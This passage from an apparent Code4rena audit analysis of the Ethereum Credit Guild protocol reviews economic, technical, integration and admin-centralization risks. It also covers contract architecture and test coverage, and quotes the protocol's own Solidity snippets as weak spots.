Under-collateralization and Liquidations: A significant decrease in gUSDC value may lead to loans becoming under-collateralized Protocols typically monitor LTV ratios to manage risk; breached thresholds trigger liquidations. Forced liquidations can create additional market pressure, exacerbating price instability.

Impact on Borrower’s Position: Borrowers might be forced to provide additional collateral or repay part of the loan to avoid liquidation. Unanticipated market movements can result in financial losses or margin calls for borrowers.

Market Sentiment: Persistent instability in gUSDC could erode user confidence in the peg mechanism. Potential contagion effects in interconnected DeFi ecosystems where gUSDC is widely used.

GUILD Tokens and Gauge Voting Risk

GUILD tokens are used for governance decisions, including voting on LendingTerms. Significant changes in the GUILD value could influence voter behavior, potentially skewing decision-making towards short-term gains rather than long-term protocol health. If GUILD’s value increases significantly, it might attract speculative voting behavior, while a decrease in value could lead to apathy or reduced participation among stakeholders.

Rebasing and gUSDC Stability Risk

The ERC20RebaseDistributor mechanism might be involved in maintaining gUSDC’s peg to USDC. If rebasing is not accurately aligned with market conditions, it could lead to either inflationary or deflationary pressures on gUSDC. Inaccurate rebasing can affect users’ trust in gUSDC’s stability, which is crucial for its function as a credit token.

Impacts of Inaccurate Rebasing

Inflationary/Deflationary Pressures: Inflationary rebasing (increasing supply) can dilute token value, potentially leading to a loss in purchasing power. Deflationary rebasing (decreasing supply) can create scarcity, potentially leading to an unsustainable increase in token value.

Collateral Auction Dynamics in AuctionHouse

The AuctionHouse contract presumably handles liquidations of collateral. Fluctuations in gUSDC or the collateral’s value could impact the efficacy of these auctions. In a scenario where gUSDC’s value drops, the proceeds from liquidation auctions might not cover the outstanding loans, leading to bad debt.

Risks and Impact

Bid Dynamics: The attractiveness of the auction to bidders depends on the perceived value of the collateral and the stability of gUSDC. In a volatile market, bidder hesitation or low turnout can impact the auction’s success.

Impact on Credit Ceiling and Lending Terms

Changes in gUSDC value could necessitate adjustments in global debt ceilings and other parameters within LendingTerms to manage the protocol’s overall risk exposure. If gUSDC devalues, the protocol might need to reduce its debt ceiling to maintain a healthy collateralization ratio across its loan portfolio.

Minting and Staking Dynamics

The mechanism for staking gUSDC to mint GUILD, and the reverse process, might be influenced by the changing values of these tokens. A decline in GUILD’s value, for instance, could reduce the incentive for users to stake gUSDC.

Technical risks

ERC20RebaseDistributor

Precision and Rounding Errors: Complex rebasing calculations could lead to precision loss or rounding errors, affecting token balances.

Rebasing Side Effects: Unintended side effects of rebasing on user balances, particularly if user interactions occur during the rebasing process.

AuctionHouse

Liquidation Logic Flaws: Errors in implementing the liquidation logic could lead to inefficient or incorrect asset liquidation.

Smart Contract Interactions: Vulnerabilities in how AuctionHouse interacts with other contracts, like token contracts or external DeFi platforms.

LendingTerm

Loan Parameters Handling: Inaccuracies in setting or modifying loan parameters (interest rates, collateral ratios) could affect lending operations.

Loan Lifecycle Management: Bugs in the management of loan states (active, defaulted, liquidated) could result in incorrect system behavior.

General Technical Risks

Parameter Adjustment Vulnerabilities: Mismanagement or errors in adjusting critical protocol parameters could destabilize the system.

Reentrancy Attacks: Functions that transfer funds or interact with external contracts could be vulnerable to reentrancy attacks.

Gas Limitations and Inefficiencies: Functions, particularly those with complex logic, might consume excessive gas, leading to high transaction costs or failures.

Inter-Contract Dependency Risks: Given the interconnected nature of the contracts, a bug or failure in one contract (e.g., ERC20RebaseDistributor) could adversely affect others (like LendingTerm).

Front-Running in AuctionHouse: Potential for front-running in auction bids, where miners or other users could exploit the transaction ordering for their benefit.

Integration risks

Inter-Contract Financial Calculations: Any financial calculations in other contracts (like yield farming rewards, fee distributions, etc.) relying on token balances might yield incorrect results post-rebase.

Consistency in Asset Valuation: The value of assets transferred during the auction needs to be consistent with their valuation in other parts of the system. Discrepancies here can affect the protocol’s financial accuracy.

Collateralization and Loan Agreements: In lending scenarios, where the rebased token might be used as collateral, changes in token quantity could affect collateralization ratios. This might inadvertently trigger liquidations or alter loan terms.

Liquidity Pools and DeFi Protocols: If the rebased token is used in liquidity pools or other DeFi protocols, a rebase event can change the value or quantity of tokens in these pools. This could lead to issues like imbalanced pools, affecting staking, lending, or swapping operations.

Rebase Impact on Other Contracts: The rebasing mechanism could have unintended impacts on contracts that interact with the rebased token. For example, if other contracts are not designed to handle rebasing tokens correctly, users’ balances or contract states might become inconsistent after a rebase event.

Governance Decisions Propagation: Decisions made through the governance process, particularly by the GOVERNOR, might involve changes in multiple contracts. Ensuring that these changes are synchronized and do not create conflicts or inconsistencies is a significant integration concern.

Role Changes and Access Control: Adjustments in roles or permissions must be propagated correctly across all affected contracts to avoid access control breaches or functional discrepancies.

Data Synchronization: Ensuring that all relevant contracts have up-to-date and synchronized information regarding loan terms, active loans, and borrower details is crucial.

Admin abuse risks

Roles

        // Initial roles setup: direct hierarchy, everything under governor
        _setRoleAdmin(CoreRoles.GOVERNOR, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.GUARDIAN, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.RATE_LIMITED_CREDIT_MINTER, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.GUILD_MINTER, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.RATE_LIMITED_GUILD_MINTER, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.GAUGE_ADD, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.GAUGE_REMOVE, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.GAUGE_PARAMETERS, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.GAUGE_PNL_NOTIFIER, CoreRoles.GOVERNOR);
        _setRoleAdmin(
            CoreRoles.GUILD_GOVERNANCE_PARAMETERS,
            CoreRoles.GOVERNOR
        );
        _setRoleAdmin(
            CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW,
            CoreRoles.GOVERNOR
        );
        _setRoleAdmin(
            CoreRoles.CREDIT_GOVERNANCE_PARAMETERS,
            CoreRoles.GOVERNOR
        );
        _setRoleAdmin(CoreRoles.CREDIT_REBASE_PARAMETERS, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.TIMELOCK_PROPOSER, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.TIMELOCK_EXECUTOR, CoreRoles.GOVERNOR);
        _setRoleAdmin(CoreRoles.TIMELOCK_CANCELLER, CoreRoles.GOVERNOR);

Sets up a role-based access control system in a Ethereum Credit Guild, with a strong centralization of power under the GOVERNOR role

Risk of Admin Abuse

  • The GOVERNOR has administrative power over all roles, potentially leading to a single point of control and decision-making. This centralization can be efficient for management but poses risks of abuse or mismanagement.
  • Centralization of control makes the system vulnerable to the decisions or actions of the GOVERNOR. If the GOVERNOR acts maliciously or is compromised, the entire protocol could be at risk.
  • With the GOVERNOR controlling all key roles, including those related to minting tokens (CREDIT_MINTER, GUILD_MINTER), managing gauges (GAUGE_ADD, GAUGE_REMOVE, GAUGE_PARAMETERS), and executing time-locked transactions (TIMELOCK_PROPOSER, TIMELOCK_EXECUTOR, TIMELOCK_CANCELLER), there’s a risk that this power could be used in ways that are not in the best interest of the protocol or its users.

Future Scalability and Adaptability

Challenges in Protocol Evolution: As the protocol grows and evolves, the centralized GOVERNOR structure might become a bottleneck, hindering the adoption of changes and updates that require a broader consensus.

Potential for Governance Gridlock : Over time, the concentration of power might lead to governance gridlock if the GOVERNOR becomes resistant to changes or if there’s a conflict of interest within the community.

Architecture assessment of business logic

I analyzed the architecture and business logic of abstract contract ERC20RebaseDistributor and two important contracts: AuctionHouse and LendingTerm. This analysis focuses on their structures and operational mechanics.

ERC20RebaseDistributor Contract

Architecture

Note: to view the provided image, please see the original submission here.

The ERC20RebaseDistributor contract, designed for a rebase mechanism in a DeFi protocol, exhibits several key implementations,

Rebase Functionality: It allows token supply adjustments (rebasing), proportionally affecting the balance of all token holders who opt into rebasing.

Opt-in Mechanism: Users can choose to participate in rebasing through enterRebase() and opt out using exitRebase(), providing flexibility in how they wish to interact with the token’s economics.

Token Burn for Distribution: The contract enables users to burn their tokens to distribute value to all rebasing token holders, enhancing the token’s utility as a distribution mechanism.

Share-Based Accounting: Internally, the contract converts user balances to shares when they opt into rebasing. This approach simplifies the calculation of individual holdings post-rebase.

Dynamic Share Price Calculation: The share price is recalculated upon each distribution, ensuring that the value of rebasing shares accurately reflects the new total supply.

Interpolation for Distribution: The contract uses a linear interpolation over a set period (30 days) to gradually distribute the value of burned tokens, preventing sudden supply shocks.

Safeguards Against Manipulation: The contract highlights the need for a meaningful initial balance in rebasing to prevent share price manipulation, echoing concerns from historical DeFi exploits.

AuctionHouse Contract

Architecture

Note: to view the provided images, please see the original submission here.

AuctionHouse Intraction Flow

The AuctionHouse contract in a DeFi protocol typically manages the auctioning of assets, often used for liquidating collateral from defaulted loans or for other decentralized governance purposes. It allows users to place bids on assets, handles the logic for determining winning bids, and ensures the transfer of both assets and payment according to the auction rules. The contract is designed to be transparent, fair, and efficient, providing a decentralized mechanism for asset liquidation or sales within the ecosystem

LendingTerm Contract

Architecture

Note: to view the provided images, please see the original submission here.

LendingTerm Intraction Flow

The LendingTerm contract in a DeFi protocol is designed to define and manage the terms of lending operations.

Setting Loan Parameters: It specifies the conditions for loans, such as interest rates, collateral requirements, maximum debt per collateral, and repayment schedules.

Loan Origination: Facilitates the creation of new loans under the specified terms, handling collateralization and issuance of debt.

Repayment and Liquidation: Manages loan repayments and enforces liquidation in case of defaults, ensuring compliance with the set terms.

Governance Integration: Often integrated with governance mechanisms for modifying terms or adding new ones, reflecting the decentralized decision-making process.

Testing Analysis

File % Lines % Statements % Branches % Funcs
src/core/Core.sol 100.00% (1/1) 100.00% (1/1) 100.00% (0/0) 100.00% (1/1)
src/core/CoreRef.sol 100.00% (15/15) 100.00% (20/20) 100.00% (2/2) 100.00% (6/6)
src/governance/GuildGovernor.sol 92.86% (13/14) 92.86% (13/14) 100.00% (0/0) 92.31% (12/13)
src/governance/GuildTimelockController.sol 100.00% (1/1) 100.00% (1/1) 100.00% (0/0) 25.00% (1/4)
src/governance/GuildVetoGovernor.sol 96.49% (55/57) 96.72% (59/61) 90.00% (18/20) 94.44% (17/18)
src/governance/LendingTermOffboarding.sol 100.00% (33/33) 100.00% (34/34) 92.86% (26/28) 100.00% (5/5)
src/governance/LendingTermOnboarding.sol 100.00% (36/36) 100.00% (40/40) 100.00% (22/22) 100.00% (5/5)
src/governance/ProfitManager.sol 100.00% (117/117) 100.00% (136/136) 86.96% (40/46) 100.00% (15/15)
src/loan/AuctionHouse.sol 100.00% (38/38) 100.00% (44/44) 95.00% (19/20) 100.00% (5/5)
src/loan/LendingTerm.sol 100.00% (210/210) 98.82% (251/254) 87.30% (110/126) 100.00% (24/24)
src/loan/SimplePSM.sol 100.00% (25/25) 100.00% (27/27) 100.00% (4/4) 100.00% (7/7)
src/loan/SurplusGuildMinter.sol 100.00% (83/83) 98.99% (98/99) 85.00% (34/40) 100.00% (7/7)
src/rate-limits/RateLimitedMinter.sol 100.00% (3/3) 100.00% (3/3) 100.00% (0/0) 100.00% (2/2)
src/tokens/CreditToken.sol 100.00% (16/16) 100.00% (16/16) 100.00% (4/4) 100.00% (11/11)
src/tokens/ERC20Gauges.sol 100.00% (123/123) 100.00% (133/133) 92.00% (46/50) 100.00% (28/28)
src/tokens/ERC20MultiVotes.sol 100.00% (91/91) 100.00% (102/102) 73.53% (25/34) 100.00% (27/27)
src/tokens/ERC20RebaseDistributor.sol 99.49% (195/196) 99.62% (263/264) 98.39% (61/62) 100.00% (23/23)
src/tokens/GuildToken.sol 100.00% (51/51) 100.00% (53/53) 94.44% (17/18) 100.00% (17/17)
src/utils/RateLimitedV2.sol 100.00% (37/37) 100.00% (46/46) 100.00% (10/10) 100.00% (8/8)
test/forge-std/lib/ds-test/src/test.sol 0.00% (0/219) 0.00% (0/222) 0.00% (0/110) 0.00% (0/56)
test/forge-std/src/DSTest.sol 11.87% (26/219) 13.06% (29/222) 11.82% (13/110) 12.50% (7/56)
test/forge-std/src/StdAssertions.sol 98.90% (90/91) 95.15% (98/103) 90.00% (36/40) 95.45% (21/22)
test/forge-std/src/StdCheats.sol 0.00% (0/188) 0.00% (0/228) 0.00% (0/52) 0.00% (0/38)
test/forge-std/src/StdJson.sol 0.00% (0/29) 0.00% (0/29) 100.00% (0/0) 0.00% (0/29)
test/forge-std/src/StdMath.sol 0.00% (0/12) 0.00% (0/15) 0.00% (0/4) 0.00% (0/5)
test/forge-std/src/StdStorage.sol 0.00% (0/127) 0.00% (0/153) 0.00% (0/30) 0.00% (0/37)
test/forge-std/src/StdUtils.sol 0.00% (0/31) 0.00% (0/40) 0.00% (0/26) 0.00% (0/5)
test/forge-std/src/console.sol 0.00% (0/381) 0.00% (0/381) 100.00% (0/0) 0.00% (0/380)
test/forge-std/src/console2.sol 0.00% (0/381) 0.00% (0/381) 100.00% (0/0) 0.00% (0/380)
test/forge-std/test/StdAssertions.t.sol 100.00% (21/21) 100.00% (21/21) 100.00% (0/0) 100.00% (21/21)
test/forge-std/test/StdCheats.t.sol 100.00% (5/5) 100.00% (5/5) 50.00% (5/10) 100.00% (3/3)
test/forge-std/test/StdError.t.sol 92.31% (12/13) 93.33% (14/15) 50.00% (1/2) 100.00% (10/10)
test/forge-std/test/StdStorage.t.sol 60.00% (3/5) 66.67% (4/6) 100.00% (0/0) 50.00% (2/4)
test/integration/PostProposalCheck.sol 0.00% (0/6) 0.00% (0/6) 100.00% (0/0) 0.00% (0/1)
test/integration/PostProposalCheckFixture.sol 0.00% (0/31) 0.00% (0/32) 100.00% (0/0) 0.00% (0/1)
test/mock/MockERC20.sol 66.67% (6/9) 66.67% (6/9) 100.00% (0/0) 57.14% (4/7)
test/mock/MockERC20Gauges.sol 87.50% (7/8) 87.50% (7/8) 100.00% (0/0) 87.50% (7/8)
test/mock/MockERC20MultiVotes.sol 85.71% (6/7) 85.71% (6/7) 100.00% (0/0) 85.71% (6/7)
test/mock/MockERC20RebaseDistributor.sol 85.71% (6/7) 85.71% (6/7) 100.00% (0/0) 85.71% (6/7)
test/mock/MockRateLimitedV2.sol 100.00% (2/2) 100.00% (2/2) 100.00% (0/0) 100.00% (2/2)
test/proposals/AddressLib.sol 0.00% (0/46) 0.00% (0/63) 0.00% (0/10) 0.00% (0/4)
test/proposals/gips/GIP_0.sol 0.00% (0/209) 0.00% (0/258) 100.00% (0/0) 0.00% (0/5)
test/proposals/gips/GIP_X.sol 100.00% (0/0) 100.00% (0/0) 100.00% (0/0) 0.00% (0/5)
test/proposals/proposalTypes/MultisigProposal.sol 0.00% (0/7) 0.00% (0/10) 0.00% (0/2) 0.00% (0/3)
test/proposals/proposalTypes/Proposal.sol 0.00% (0/1) 0.00% (0/1) 100.00% (0/0) 0.00% (0/1)
test/proposals/proposalTypes/TimelockProposal.sol 0.00% (0/38) 0.00% (0/43) 0.00% (0/18) 0.00% (0/3)
Total 40.96% (1327/3240) 42.54% (1538/3615) 54.78% (493/900) 23.38% (310/1326)

100% Coverage

Files like Core.sol, CoreRef.sol, LendingTermOnboarding.sol, and several others show 100% coverage across lines, statements, branches, and functions. This indicates that every line of code, every conditional branch, and every function in these files have been executed during testing, which is ideal.

Less Than 100% Coverage

Files such as GuildGovernor.sol, GuildVetoGovernor.sol, and LendingTerm.sol have less than 100% coverage in some areas. This could be a cause for concern, especially in a DeFi protocol, where untested code might lead to vulnerabilities or unexpected behaviors.

The test/forge-std/... files have significantly lower coverage. These might be standard test utilities or mock contracts used for testing other components. While lower coverage here might be less critical, it’s still worth investigating if it impacts the reliability of the tests.

Impact of Non-100% Coverage

Security Risks: In DeFi, untested code could lead to security vulnerabilities, potentially leading to loss of funds or other exploits.

Functional Bugs: Lack of coverage might mean that certain edge cases or error conditions are not tested, which could result in bugs or unexpected behavior in production.

Integration Issues: In a protocol with multiple interacting contracts, untested code in one contract might cause issues in another, especially in complex transactions or state changes.

Software engineering considerations

Purpose-Specific Modules: Design contracts like ERC20RebaseDistributor, AuctionHouse, and LendingTerm as modular components. This allows for easier upgrades and maintenance.

Separation of Concerns: Ensure each contract focuses on a specific functionality, reducing complexity and potential for bugs.

Unit Testing: Develop comprehensive unit tests for each function in the contracts, covering all possible edge cases.

Stress Testing and Simulation: Perform stress tests simulating extreme market conditions to evaluate the contracts’ resilience.

Mathematical Proofs: Use formal verification tools to prove the correctness of critical functions, especially those in ERC20RebaseDistributor involving complex mathematical calculations.

State Invariants: Establish and verify state invariants for contracts to ensure they maintain consistent states throughout transactions.

Reentrancy Guards: Implement checks against reentrancy attacks, particularly in functions that interact externally in AuctionHouse.

Optimize for Gas: Refactor contract code to minimize gas consumption, crucial for functions likely to be called frequently.

Proxy Patterns: If upgradeability is a requirement, consider using proxy patterns, ensuring a clear separation between data and logic.

Version Control: Maintain strict version control and changelogs for all contracts to track changes and upgrades over time.

Transparent Governance Processes: Develop and maintain clear, transparent processes for governance actions, documented in code comments and developer documentation.

Smart Contract Events: Emit detailed events in contracts for better off-chain tracking and to facilitate user interface updates.

Comprehensive Documentation: Maintain detailed documentation for each contract, describing its purpose, functions, and interaction mechanisms.

Code Weakspots

Complex Rebasing Logic in _balance2shares and _shares2balance functions

function _balance2shares(uint256 balance, uint256 sharePrice) internal pure returns (uint256) {
    return (balance * START_REBASING_SHARE_PRICE) / sharePrice;
}

function _shares2balance(uint256 shares, uint256 sharePrice, uint256 deltaBalance, uint256 minBalance) internal pure returns (uint256) {
    uint256 rebasedBalance = (shares * sharePrice) / START_REBASING_SHARE_PRICE + deltaBalance;
    if (rebasedBalance < minBalance) {
        rebasedBalance = minBalance;
    }
    return rebasedBalance;
}

Why It’s Weak

These functions handle the conversion between balances and shares, which is a core part of the rebasing logic. The risk here is primarily due to potential rounding errors and integer division limitations in Solidity. Incorrect conversions could lead to balance inaccuracies, especially when dealing with large numbers or very small fractional amounts.

Complexity in getBidDetail() function

function getBidDetail(bytes32 loanId) public view returns (uint256 collateralReceived, uint256 creditAsked) {
    // ... logic for calculating bid details ...
}

Why It’s Weak

The getBidDetail function calculates how much collateral is offered and how much debt is asked for, based on the time elapsed in the auction. The logic is complex and time-dependent, making it prone to miscalculations or manipulation, especially if not properly validated against edge cases or unexpected scenarios (like extreme market conditions).

Handling of Negative Values in notifyPnL

if (amount < 0) {

Why It’s Weak

The handling of losses (negative values) is complex and involves multiple state changes (e.g., adjusting surplus buffers, updating credit multipliers). If not managed accurately, it could lead to financial discrepancies in the system, such as incorrect loss accounting or multiplier adjustments.

creditMultiplier Risk

// update the CREDIT multiplier
                uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
                uint256 newCreditMultiplier = (creditMultiplier *
                    (creditTotalSupply - loss)) / creditTotalSupply;
                creditMultiplier = newCreditMultiplier;
                emit CreditMultiplierUpdate(
                    block.timestamp,
                    newCreditMultiplier
                );

Calculating the New Multiplier

  • creditTotalSupply is the total supply of CREDIT tokens in the system.
  • Loss is the amount of bad debt that needs to be accounted for, beyond the surplus buffer.
  • The new creditMultiplier is calculated by reducing the current multiplier proportionally to the ratio of the loss to the total CREDIT supply.

Effect of the Calculation

The formula (creditMultiplier * (creditTotalSupply - loss)) / creditTotalSupply effectively reduces the creditMultiplier. If loss is significant compared to creditTotalSupply, this reduction can be substantial.

For example, if the current multiplier is 1.0 (or 1e18 in Solidity’s integer math), and the loss is 10% of the total CREDIT supply, the new multiplier would be 0.9 (or 0.9e18), representing a 10% decrease.

Implications

Decrease in CREDIT Value: The decrease in the creditMultiplier effectively lowers the value of CREDIT tokens throughout the system. This means that every CREDIT token now represents a smaller share of the system’s value.

Increased Debt for Borrowers: This decrease means borrowers now owe more CREDIT tokens to cover the same nominal value of debt.

Time spent

29 hours

eswak (Ethereum Credit Guild) acknowledged


Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.